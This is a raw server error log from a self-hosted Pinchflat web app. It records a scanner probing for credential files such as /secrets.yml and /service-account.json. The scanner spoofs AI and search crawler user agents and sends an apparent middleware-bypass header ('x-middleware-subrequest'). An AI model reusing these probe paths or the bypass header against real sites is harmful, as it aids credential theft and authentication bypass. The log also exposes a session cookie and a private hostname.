(KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/secrets.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Xki7d5KCMUABv3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29612.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33730}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29612.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.yml", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33730}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "G (truncated) 16:49:06.579 [info] GET /credentials.json 16:49:06.579 [debug] QUERY OK source="settings" db=0.0ms idle=117.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.579 [debug] QUERY OK source="settings" db=0.0ms idle=77.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.579 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.579 [error] #PID<0.29615.0> running PinchflatWeb.Endpoint (connection #PID<0.29614.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /credentials.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33736}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29615.0>, params: %{}, path_info: ["credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/credentials.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Xqi_AWwzw8ABv3h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33736}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29614.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/credentials.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33736}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" (truncated) 16:49:06.584 [info] GET /service-account.json 16:49:06.584 [debug] QUERY OK source="settings" db=0.0ms idle=81.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.584 [debug] QUERY OK source="settings" db=0.0ms idle=30.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.584 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.584 [error] #PID<0.29617.0> running PinchflatWeb.Endpoint (connection #PID<0.29616.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /service-account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29616.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33742}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29617.0>, params: %{}, path_info: ["service-account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/service-account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Xrt7nxYYi0ABv4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29616.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33742}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service-account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29616.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service-account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33742}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :unde (truncated) 16:49:06.608 [info] GET /key.json 16:49:06.608 [debug] QUERY OK source="settings" db=0.0ms idle=54.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.608 [debug] QUERY OK source="settings" db=0.0ms idle=29.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.608 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.608 [error] #PID<0.29619.0> running PinchflatWeb.Endpoint (connection #PID<0.29618.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /key.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29618.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33756}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29619.0>, params: %{}, path_info: ["key"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/key.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Xxgl6uStsIABv4h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29618.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33756}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /key (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29618.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/key.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33756}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", (truncated) 16:49:06.654 [info] GET /serviceAccountKey.json 16:49:06.654 [debug] QUERY OK source="settings" db=0.1ms idle=75.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 